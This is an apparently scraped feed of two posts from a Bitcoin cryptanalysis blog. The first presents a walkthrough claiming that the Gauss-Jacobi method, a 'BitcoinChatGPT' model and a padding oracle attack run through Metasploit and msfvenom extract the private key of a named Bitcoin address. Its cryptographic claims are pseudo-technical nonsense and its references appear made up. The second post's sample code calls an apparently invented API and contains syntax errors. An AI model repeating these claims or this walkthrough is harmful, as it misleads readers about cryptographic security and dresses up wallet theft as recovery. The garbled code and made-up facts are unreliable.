«CRYPTO DEEP TOOLS» https://cryptodeeptools.ru/ Set of scripts for detailed cryptanalysis of the Blockchain network in cryptocurrency Bitcoinrrency Bitcoin Wed, 10 Apr 2024 00:46:49 +0000 en-US hourly 1 https://wordpress.org/?v=6.5.2 https://cryptodeeptools.ru/wp-content/uploads/2022/07/cropped-favicon7-32x32.png «CRYPTO DEEP TOOLS» https://cryptodeeptools.ru/ 32 32 Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process BitcoinChatGPT https://cryptodeeptools.ru/gauss-jacobi-method/ Wed, 10 Apr 2024 00:46:45 +0000 https://cryptodeeptools.ru/?p=2719 Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

In this article we will look at an example of a method Gauss-Jacobithat uses modern technologies, such as a pre-trained model Bitcoin ChatGPT, which allows us to more effectively solve complex problems in the field of digital technologies. It is important to note that alternative algorithms such as Gauss-Jacobiplay a key role and open new horizons for the development of computational mathematics.

The method Gauss-Jacobiis an iterative numerical method for solving systems of linear equations. It is widely used in various fields such as cryptography, cryptanalysis, engineering and computational mathematics. The Bitcoin network uses cryptographic algorithms such as hash functions SHA-256, signature algorithms ECDSA, and elliptic curves secp256k1to create public and private keys, which are points on an elliptic curve. The private key is the secret numeric value that is used to generate the public key, and the public key is the point on the curve obtained by computing with the private key. Thus, elliptic curves secp256k1form the basis of cryptographic mechanisms that provide secure transactions and protection against various attacks. Modern technologies that develop pre-trained models Bitcoin ChatGPTfind effective ways to solve complex cryptographic problems underlying the algorithms used in Bitcoin.



What are the advantages of the Gauss-Jacobi algorithm :

  • High speed and efficiency , which makes it ideal for searching for attack keys.
  • Interactivity uses only one search step, which allows it to reduce the number of calculations.
  • Availability and ease of implementation , which has simple codes and can easily be implemented in various programs.
  • Available to a wide range of users , who can use it to search for attacks on cryptographic strength for various cryptocurrencies.
  • The flexibility can be applied to a variety of types of cryptographic systems.

How the Gauss-Jacobi algorithm works :

Gauss-Jacobithe algorithm is based on a recursive function f(x)that, for any element xin S(the blockchain data network), returns a string code representing x. If xis an attacking key, then f(x) = 0.

Gauss-Jacobithe algorithm is based on a recursive function f(x)that, for any element xin S(the blockchain data set), returns a string code representing x. If xis an attacking key, then f(x) = 0.

The algorithm works in the following stages:

  1. Computes Gthe -matrix, which is the matrix of all mixed pairs of elements S, where the i-th element corresponds to the i-th elements of S, and the j-th element to the j-th element S.
  2. Computes the X-matrix, which is a matrix of mixed hash function pairs.
  3. Recursively determines the value of f(x) for each element of S.
  4. If f(x) = 0, this means that xis the attacking key, and the algorithm terminates.
  5. And else, the algorithm continuesrecursively calculates f(x)for various elements Sand adds these elements to Хthe -matrix.
  6. If His a matrix of ones, then the algorithm terminates and we have found the attacking key.

The method’s algorithm Gauss-Jacobican be used to solve systems of equations with a large number of unknowns. This means that this method can be used to solve systems of equations derived from secp256k1 elliptic curves used in cryptography that may have a large number of unknowns, and methods like Gauss-Jacobi can potentially speed up the solution of some discrete logarithm and factorization problems, by which public key cryptography is based on.


Potential application of the Gauss-Jacobi method in cryptanalysis of the Bitcoin blockchain

Let’s consider building the structure of a vulnerable Raw transaction that uses the BitcoinChatGPT module


Let’s open the Google Colab version:

https://colab.research.google.com/drive/1MJ4G5azqqpSlamEdPcjOCBkKn6oQofwL#scrollTo=HBzK0Ff7utn0&line=1&uniqifier=1


Let’s combine all the output values ​​into one common line:


Let’s open the option from BlockCypher “Decode A Transaction” :

https://live.blockcypher.com/btc/decodetx

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

After decoding the vulnerable Raw Bitcoin transaction, we get the result:


Let’s pay attention to Bitcoin HASH160: ac9ea341afb74843f80205e8c8da0abc822fa5

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

https://github.com/demining/CryptoDeepTools/blob/470292cd9bf60232e2ea4011ab9929106c63477f/30GaussJacobiMethod/DecodeRawTX.txt#L31


BitcoinChatGPT creates a transaction structure using HASHa public key, where we see that Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k sends 1234 satoshito the same address within its network.

https://live.blockcypher.com/widget/btc/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k/received

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Bitcoin HASH160 was obtained using Python Script: wif_to_hash160.py

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/wif_to_hash160.py


Question answer:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Ultimately, the BitcoinChatGPT module outputs a response to the file: KEYFOUND.privkey , saving the private key in the two most used formats HEX & WIF

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey


BitcoinChatGPT №1 Gauss Jacobi Method Algorithm


Practical part

To move on to the practical part, let’s create a vulnerable Raw transaction from the received data using the Broadcast Bitcoin Transaction repository

Download and install the source code, open a terminal and run the command:

Catalog:

Let’s install three important libraries:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
requirements.txt

Let’s run the command:


Let’s open the main file in Notepad ++ and make small changes to the Python Script code: main.py



Let’s run the command:

A vulnerable transaction has been created!

Let’s open the RawTX file in the directory:


The order of actions in the video:


As we know from the prompt responses of the BitcoinChatGPT module , the Gauss-Jacobi method algorithm can be used to solve four variants of complex cryptographic problems.

Let’s consider the option №3 The Gauss-Jacobi algorithm can compromise the security of the software file wallet.dat, which is an additional unprotected mechanism where the algorithm creates the wallet.dat file and extracts the private key to the Bitcoin Wallet from the file’s code using the command “dumpprivkey” “address” from the internal software console.

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Option #3


Smart Transformers

Let’s apply machine learning Smart Transformers , integrate the notebook Google Colabwith Pytorch, TensorFlow, JAX and using the received data from a vulnerable Raw transaction for Bitcoin Addresses: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k we will create an unprotected file wallet.dat from the proposed selection of all existing algorithms from SMART_IDENTIFY . Then we will perform a Padding Oracle Attack on the newly created file: wallet.dat to decrypt the password into the original binary format in order to obtain and extract the private key from the Bitcoin Core software console using the standard command:dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k


Let’s open a new Google Colab notebook using the link:

https://colab.research.google.com/#create=true

Clone the Smart Transformers repository

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s install all the necessary packages and libraries:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s add our vulnerable Raw transaction to a text document: RawTX.txt, for this we will use the utilityecho

Let’s run the command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Now, in order to obtain the exact algorithm and method for cryptanalysis, we need to identify the vulnerable RawTX using the SMART_IDENTIFY utility .

Let’s run the command:

As a result, we get the Gauss_Jacobi_Algorithm method, in early studies the BitcoinChatGPT module identified the same thing .


Let’s open the directory:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s start the process of creating the wallet.dat file , for this we use the identified data of the vulnerable Raw transaction in the file: RawTX.txt for the process we use the Gauss_Jacobi_Algorithm utility

Let’s run the command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s open the directory in the left panel Google Colaband see the file: wallet.datSuccessfully created!

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0


Let’s open the console and run the command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

We see that the file: wallet.dat belongs to Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k


File: wallet.dat is encrypted with a password!


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s run the command to check the private key:


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

We see a warning: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)


Padding Oracle Attack

We previously published the article Padding Oracle Attack on Wallet.dat. We will use this method and decrypt the password to access the binary format.

Let’s install Ruby

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

To run the programs we need, we will install the object-oriented programming language  Ruby

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s check the installation version

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]

Let’s install all the libraries we need  to interact with the Bitcoin protocol/network :

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s install the Metasploit Framework and use MSFVenom

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s install  the Metasploit Framework  from  GitHub  and use the  MSFVenom tool  to create the payload.

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Options:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Establish  Bitcoin Core integration/staging tree  in Google Colab:

We clone the Bitcoin Core repository by running the command:


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s go through the directory to the file:  aes.cpp  to integrate the exploit to launch  Padding Oracle Attack on Wallet.dat

Let’s go to the crypto directory

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Open the file:  aes.cpp  using the cat utility

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

To carry out the attack, move the file: wallet.dat to the directory:  bitcoin/src/crypto/

Let’s use the utility   and move  wallet.datmv

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s check the contents of the directory:  bitcoin/src/crypto/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s go back to Metasploit Framework

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s open the folders according to the directory: /modules/exploits/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

ExploitDarlenePRO

Download  "ExploitDarlenePRO" from the catalogue: /modules/exploits/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Unzip the contents  ExploitDarlenePRO.zip using the utility unzip

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s go through the catalogue: /ExploitDarlenePRO/

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

To run the exploit, let’s go back to Metasploit Framework

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

We need to identify our  LHOST (Local Host) attacking  IP-address virtual machine. Let’s run the commands:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s use the tool to create a payload MSFVenom

For operation, select Bitcoin Wallet:  1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k 


Launch command:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Result:


We need to save the resulting binary format to a file:  walletpassphrase.txt we will use  a Python script .

Team:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s open the file: walletpassphrase.txt

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Result:


The password for access to the private key has been found!


Let’s use the command   via the console dumpprivkey "address"Bitcoin Core



Result:

Private Key Received!



I establish a Bitcoin library 

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

Let’s run  the code  to check the compliance of Bitcoin Addresses:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

That’s right! The private key corresponds to the Bitcoin Wallet.


Let’s open  bitaddress  and check:

Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

References:

  1. “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds, Warren P. Symes, Walter G. Weiss and Simon F. Taylor. This book provides various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, and provides examples of its implementation.
  2. “Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. This book details various iteration methods for solving linear and nonlinear systems, including the Gauss-Jacobi method, and-presented.
  3. “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. This work presents various approaches to solving nonlinear programs involving iteration methods such as Gauss-Jacobi.
  4. “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw, editors. This is definitely an encyclopedic source containing various articles on numerical methods, including the Gauss-Jacobi method.
  5. “The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method” – The original article by Carl Friedrich Gauss “Beitrag zur Theorie der algebraischen Gleichungen” (1845), in which he first described the Gauss-Jacobi method.
  6. “Iterative Solution of Large Linear Systems” (1971) – David M. Young’s book contains a detailed description and analysis of the Gauss-Jacobi method.
  7. “Iterative Methods for Solving Linear Systems” – The chapter in Richard Bourdain and Douglas Fairs’ book Numerical Analysis (2010) gives a good introduction to the method.
  8. “On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) by Milos Fehrmann analyzes the convergence of the Gauss-Jacobi method.
  9. “Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) by Richard Barrett et al. – a useful guide to iterative methods, including Gauss-Jacobi.
  10. “A Survey of Parallel Nonlinear System Solvers” (1991) by John Ortega and Robert Foigel examines parallel implementations of the Gauss-Jacobi method.
  11. Exploring the Gauss-Jacobi Method in Numerical Methods Textbooks – Many textbooks on numerical methods, such as Ward Cheney and David Kincaid’s Numerical Mathematics and Computing, contain sections on the Gauss-Jacobi method.

This material was created for the  CRYPTO DEEP TECH portal  to ensure financial security of data and elliptic curve cryptography  secp256k1  against weak  ECDSA signatures  in the  BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.


Source

Telegram: https://t.me/cryptodeeptech

Video material: https://www.youtube.com/@cryptodeeptech

Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c

Source: https://cryptodeeptech.ru/gauss-jacobi-method


Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process

]]>
Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency https://cryptodeeptools.ru/bitcoin-utilities/ Tue, 20 Feb 2024 07:44:53 +0000 https://cryptodeeptools.ru/?p=2615

Bitcoin is the world’s first decentralized digital currency, and it has revolutionized the way we think about money. One of the most fascinating aspects of Bitcoin is the vast array of utilities that have been developed to support it. These utilities are designed to help users interact with the Bitcoin network in a safe and secure manner, and they play a critical role in the ecosystem.

One of the most popular Bitcoin utilities is the Bitcoin wallet. A wallet is a software application that allows users to store, send, and receive Bitcoin. There are many different types of wallets available, including desktop wallets, mobile wallets, and hardware wallets. Each type of wallet has its own set of advantages and disadvantages, so it’s important to choose the one that best fits your needs.

Another important Bitcoin utility is the Bitcoin exchange. An exchange is a platform that allows users to buy and sell Bitcoin for other currencies, such as USD or EUR. There are many different exchanges available, each with their own set of fees, security features, and user interfaces. It’s important to choose a reputable exchange that has a good track record of security and reliability.

A third type of Bitcoin utility is the mining software. Mining is the process of verifying transactions on the Bitcoin network and adding them to the blockchain. Miners are rewarded with Bitcoin for their work, and the more computing power they have, the more Bitcoin they can earn. Mining software allows users to participate in the mining process and earn Bitcoin.

There are also many other types of Bitcoin utilities available, such as payment processors, merchant services, and blockchain explorers. These utilities are designed to make it easier for businesses and individuals to use Bitcoin in their daily lives, and they play a critical role in the growth and development of the Bitcoin ecosystem.

Bitcoin utilities are an essential part of the Bitcoin ecosystem. They provide users with the tools they need to interact with the Bitcoin network in a safe and secure manner, and they help to drive the adoption of Bitcoin around the world. Whether you’re a business owner, an investor, or just someone who’s interested in digital currencies, there’s a Bitcoin utility out there that can help you achieve your goals.


Advantage

One of the lesser-known advantages of Bitcoin is its utility as a tool for various applications. The underlying technology of Bitcoin, known as blockchain, is essentially a decentralized ledger that can be used to store and verify data. This makes it a valuable tool for a variety of industries, from healthcare to logistics.

One such application is supply chain management. By using blockchain technology, companies can track the movement of goods from the manufacturer to the end consumer. This provides greater transparency and accountability, reducing the risk of fraud and ensuring that products are authentic.

Another application is in the field of voting. Blockchain technology can be used to create a secure and transparent voting system, ensuring that the results are accurate and tamper-proof. This can help to restore faith in the democratic process and prevent election fraud.

Bitcoin can also be used as a means of payment for goods and services. This is particularly useful in countries where traditional banking systems are not accessible or reliable. Bitcoin transactions are fast, cheap, and secure, making them an attractive alternative to traditional payment methods.

Finally, Bitcoin can be used as a store of value. Unlike traditional currencies, which can be devalued by inflation or political instability, Bitcoin is decentralized and immune to such factors. This makes it an attractive option for those looking to preserve their wealth over the long term.

Bitcoin is more than just a cryptocurrency. Its underlying technology, blockchain, has a wide range of applications that can benefit various industries. From supply chain management to voting systems, Bitcoin utilities have the potential to revolutionize the way we do business and interact with each other. As the technology continues to evolve, we can expect to see even more innovative applications of Bitcoin in the years to come.


Classification

One of the key features of Bitcoin is its ability to be classified into different types of utilities. In this article, we will explore the different classifications of Bitcoin utilities and their importance.

  1. Payment System

The most basic classification of Bitcoin is as a payment system. Bitcoin allows users to send and receive payments instantly, without the need for intermediaries like banks or payment processors. This makes it a fast, secure, and cost-effective way to transfer money across borders.

  1. Store of Value

Another important classification of Bitcoin is as a store of value. Bitcoin has a limited supply of 21 million coins, which makes it a scarce resource. This scarcity, combined with its decentralized nature, makes it a popular asset for investors looking to store their wealth in a secure and inflation-proof manner.

  1. Digital Gold

Bitcoin is often referred to as “digital gold” because of its similarities to the precious metal. Like gold, Bitcoin is a scarce resource with a limited supply. It is also decentralized and operates independently of any central authority. This makes it an attractive asset for investors looking to diversify their portfolio and hedge against inflation.

  1. Decentralized Application Platform

Bitcoin also serves as a platform for building decentralized applications (DApps). These are applications that run on a decentralized network, rather than a central server. Bitcoin’s blockchain technology makes it possible to build secure and decentralized applications that are resistant to censorship and fraud.

  1. Cryptocurrency

Finally, Bitcoin is a cryptocurrency, which means it is a digital asset that uses cryptography to secure its transactions and to control the creation of new units. Cryptocurrencies like Bitcoin are designed to be decentralized and operate independently of any central authority. This makes them an attractive alternative to traditional currencies, which are subject to inflation and manipulation by central banks. Bitcoin is a versatile and innovative technology that can be classified into different types of utilities. As a payment system, store of value, digital gold, decentralized application platform, and cryptocurrency, Bitcoin has the potential to revolutionize the way we think about money and financial transactions.


Bitcoin Utilities

  1. Monitor Transactions on Bitcoin Addresses with Python and TxWatcher ↩︎
  2. Nigiri A delicious docker box for special Bitcoin, Lightning and Liquid cookings ↩︎
  3. “hal” – Bitcoin CLI swiss-army-knife (based on rust-bitcoin) ↩︎
  4. “BitKey” – Live USB for airgapped transactions and Bitcoin swiss army knife ↩︎
  5. “Pycoin” – Python-based Bitcoin and alt-coin utility library ↩︎
  6. “bx” – Bitcoin Command Line Tool ↩︎
  7. “HelloBitcoin” – A collection of simple programs which can generate bitcoin wallets, create and sign transactions, and send transactions over the bitcoin network ↩︎
  8. “HD Wallet Scanner” – Find all used addresses in your Bitcoin HD wallets bypassing gap limits ↩︎
  9. “QR CODE” – A no-framework, no-dependencies, customizable, animate-able, SVG-based web component ↩︎

Monitor Transactions on Bitcoin Addresses with Python and TxWatcher 1

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency
Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/tsileo/txwatcher

TxWatcher is a Python-based tool that allows you to monitor transactions on Bitcoin addresses. It can be used for a variety of purposes, such as tracking donations to a non-profit organization or monitoring payments made to a merchant account. In this article, we’ll show you how to use TxWatcher to monitor transactions on Bitcoin addresses.

First, you’ll need to install TxWatcher. You can do this by running the following command in your terminal:

pip install txwatcher

Once TxWatcher is installed, you can start monitoring transactions by creating a new instance of the TxWatcher class. Here’s an example:

from txwatcher import TxWatcher

# Create a new TxWatcher instance
tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet')

# Monitor transactions for a specific Bitcoin address
address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC'
tx_watcher.watch_address(address)

In this example, we’re creating a new TxWatcher instance and passing our API key and the Bitcoin network we want to monitor (in this case, the testnet). We’re then calling the watch_address() method and passing in the Bitcoin address we want to monitor.

TxWatcher will now start monitoring transactions for the specified Bitcoin address. You can listen for new transactions by calling the listen_for_transactions() method:

# Listen for new transactions
tx_watcher.listen_for_transactions()

This will block the execution of your program until a new transaction is detected. When a new transaction is detected, TxWatcher will emit a transaction event. You can listen for this event and do something with the transaction data, such as storing it in a database or sending an email notification.

Here’s an example of how to listen for new transactions and store the transaction data in a MongoDB database:

from txwatcher import TxWatcher
from pymongo import MongoClient

# Create a new TxWatcher instance
tx_watcher = TxWatcher(api_key='YOUR_API_KEY', network='testnet')

# Connect to MongoDB
client = MongoClient('mongodb://localhost:27017/')
db = client['my_database']
collection = db['transactions']

# Monitor transactions for a specific Bitcoin address
address = '1LdRcdxfbSnmCYYNdeYpUnztiYzVfBEQeC'
tx_watcher.watch_address(address)

# Listen for new transactions and store them in MongoDB
tx_watcher.listen_for_transactions(on_transaction=lambda transaction: collection.insert_one(transaction.to_dict()))

In this example, we’re connecting to a local MongoDB instance and creating a new database and collection to store the transaction data. We’re then calling the listen_for_transactions() method and passing in a lambda function that takes a transaction object and inserts it into the MongoDB collection using the insert_one() method.

That’s it! You now know how to use TxWatcher to monitor transactions on Bitcoin addresses. With a little bit of creativity, you can use this tool to build all sorts of Bitcoin-related applications and services.

Python script that utilizes txwatcher:

import txwatcher

# create a new instance of the txwatcher
txwatcher = txwatcher.TxWatcher()

# connect to the blockchain
txwatcher.connect_blockchain()

# monitor a specific address for incoming transactions
txwatcher.monitor_address('0x1234567890abcdef1234567890abcdef1234567890abcdef1234')

# monitor a specific transaction hash for confirmations
txwatcher.monitor_transaction_hash('0x1234567890abcdef1234567890abcdef1234567890abcdef1234')

# print the transaction details when a new transaction is detected
txwatcher.print_transaction_details()

# close the connection to the blockchain
txwatcher.close_blockchain_connection()

This script imports the txwatcher module and creates a new instance of the TxWatcher class. It then connects to the blockchain and monitors a specific address and transaction hash for incoming transactions and confirmations, respectively. Finally, it prints the transaction details and closes the connection to the blockchain.


Nigiri A delicious docker box for special Bitcoin, Lightning and Liquid cookings 2

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/vulpemventures/nigiri

Nigiri is a command-line interface (CLI) tool that simplifies the process of setting up a Bitcoin regtest environment. With Nigiri, users can quickly and easily fire up a Bitcoin regtest box, along with Electrs and Esplora, two popular tools for Bitcoin developers. Nigiri also includes faucet and push commands, which make it easy to test Bitcoin applications and services.

Regtest is a testing environment for Bitcoin that simulates the Bitcoin network without using real bitcoins. This allows developers to test their Bitcoin applications and services without risking real money. Electrs is a Bitcoin full node software that indexes the Bitcoin blockchain and provides an API for querying it. Esplora is a web-based block explorer that allows users to view and analyze the Bitcoin blockchain.

Nigiri simplifies the process of setting up a Bitcoin regtest environment by providing a single command that sets up all the necessary components. This includes the Bitcoin Core software, Electrs, Esplora, and a Bitcoin faucet, which provides free test bitcoins for testing purposes.

The faucet command in Nigiri makes it easy to obtain test bitcoins for testing purposes. The push command allows users to send test bitcoins to other addresses on the regtest network. These commands simplify the process of testing Bitcoin applications and services, making it easier for developers to test their applications without risking real money.

Overall, Nigiri is a powerful tool for Bitcoin developers who want to quickly and easily set up a Bitcoin regtest environment. With Nigiri, developers can test their applications and services without risking real money, and can easily obtain test bitcoins for testing purposes. The faucet and push commands make it easy to simulate real-world Bitcoin transactions, allowing developers to test their applications in a realistic environment.

Nigiri is a command-line interface (CLI) tool that allows you to quickly set up a Bitcoin regtest box with Electrs and Esplora. Regtest is a private blockchain that you can use for testing and experimentation without having to worry about real Bitcoin transactions. Electrs is a lightweight, high-performance Electrum server that provides fast access to blockchain data, while Esplora is a blockchain explorer that allows you to view transactions and blocks on the regtest network.

Nigiri also includes a faucet command that allows you to generate test Bitcoin addresses with pre-mined funds, and a push command that allows you to send transactions on the regtest network. With Nigiri, you can quickly and easily set up a Bitcoin regtest environment for testing and experimentation without having to worry about the complexities of setting up a full Bitcoin node.

In summary, Nigiri is a powerful tool for anyone who wants to experiment with Bitcoin and blockchain technology in a private and secure environment. With its simple CLI interface and built-in Electrs and Esplora integration, Nigiri makes it easy to set up a Bitcoin regtest box and start exploring the world of Bitcoin and blockchain technology.

Script that you can use to run nigiri in a docker container:

#!/usr/bin/env python3

import docker
import os

# set the docker client and image name
client = docker.from_env()
image_name = 'nigiri'

# create a docker container
container = client.containers.run(
    image=image_name,
    ports={'80': '80'},
    volumes={'/var/run/docker.sock': '/var/run/docker.sock'},
    detach=true
)

# wait for the container to start
print("waiting for the container to start...")
container.wait()

# get the ip address of the container
ip_address = container.attrs['networksettings']['networks']['bridge']['ipaddress']

# print the url of the nigiri dashboard
print(f"nigiri dashboard is available at: http://{ip_address}:80")

# stop and remove the container
print("stopping and removing the container...")
container.stop()
container.remove()

this script creates a docker container with the nigiri image, maps port 80 to the host, and mounts the docker socket volume so that nigiri can access the docker api. it then waits for the container to start, gets its ip address, prints the url of the nigiri dashboard, and stops and removes the container.

to use this script, you will need to have python 3.x and docker installed on your system. you can run it by saving it to a file (e.g. run_nigiri.py) and executing it with python run_nigiri.py.


“hal” – Bitcoin CLI swiss-army-knife (based on rust-bitcoin) 3

Exploring Underrated Power of Bitcoin Utilities: comprehensive guide Google Colab and next big thing in cryptocurrency

GitHub: https://github.com/stevenroose/hal

hal is a powerful command-line interface tool for Bitcoin that is built on top of rust-bitcoin. It is designed to be a Swiss army knife of sorts, providing a wide range of functionality for Bitcoin users and developers.

Some of the key features of hal include:

  1. Address generation: hal can generate new Bitcoin addresses for you to use.
  2. Transaction creation: you can use hal to create new Bitcoin transactions, specifying the inputs, outputs, and any other necessary parameters.
  3. Transaction signing: once you’ve created a transaction, you can use hal to sign it using your private keys.
  4. Transaction broadcasting: once your transaction is signed, you can use hal to broadcast it to the Bitcoin network.
  5. Block and transaction parsing: hal can parse Bitcoin blocks and transactions, allowing you to extract data from them.
  6. Wallet management: you can use hal to manage your Bitcoin wallets, including creating new wallets, importing and exporting keys, and managing your balances.
  7. Scripting: hal includes a powerful scripting language that allows you to automate complex Bitcoin-related tasks.

Overall, hal is a highly useful tool for anyone who works with Bitcoin on a regular basis. Whether you’re a developer building Bitcoin applications, a trader managing your Bitcoin holdings, or simply someone who wants to explore the capabilities of the Bitcoin protocol, hal can help you get the job done.

Script:

import subprocess

def execute_hal():
    subprocess.run(["hal", "--help"])

execute_hal()

this script uses the subprocess module in python to execute the command “hal –help” in the terminal. you can modify this script to execute any other command you want.

hal is a command line tool that provides all kinds of Bitcoin-related utilities.

Installation:

$ cargo install --locked hal

Summary of commands:

  • address
    • inspect: get information about addresses
    • create: create addresses using public keys or scripts
  • bech32
    • decode: parse the elements of the Bech32 format
    • encode: encode data in the Bech32 format
  • bip32
    • derive: derive keys and addresses from extended keys
    • inspect: inspect a BIP-32 xpub or xpriv
  • bip39
    • generate: generate a new BIP-39 mnemonic
    • get-seed: get the seed value and BIP-32 master key for a given BIP-39 mnemonic
  • block
    • create: create a binary block from JSON
    • decode: decode a binary block to JSON
  • hash
    • sha256: hash data with SHA-256
    • sha256d: hash data with double SHA-256
  • key
    • generate: generate a random keypair
    • derive: generate a public key from a private key
    • inspect: inspect private keys
    • ecdsa-sign: make ECDSA signatures
    • ecdsa-verify: verify ECDSA signatures
    • pubkey-tweak-add: add a scalar to a point
    • pubkey-combine: add two points together
  • ln
    • invoice
      • decode: decode Lightning invoices
  • merkle
    • proof-create: create a merkle proof
    • proof-check: check a merkle proof
  • message
    • hash: get hashes of Bitcoin Signed Message
    • sign: sign a message using Bitcoin Signed Message
    • verify: verify a Bitcoin Signed Message
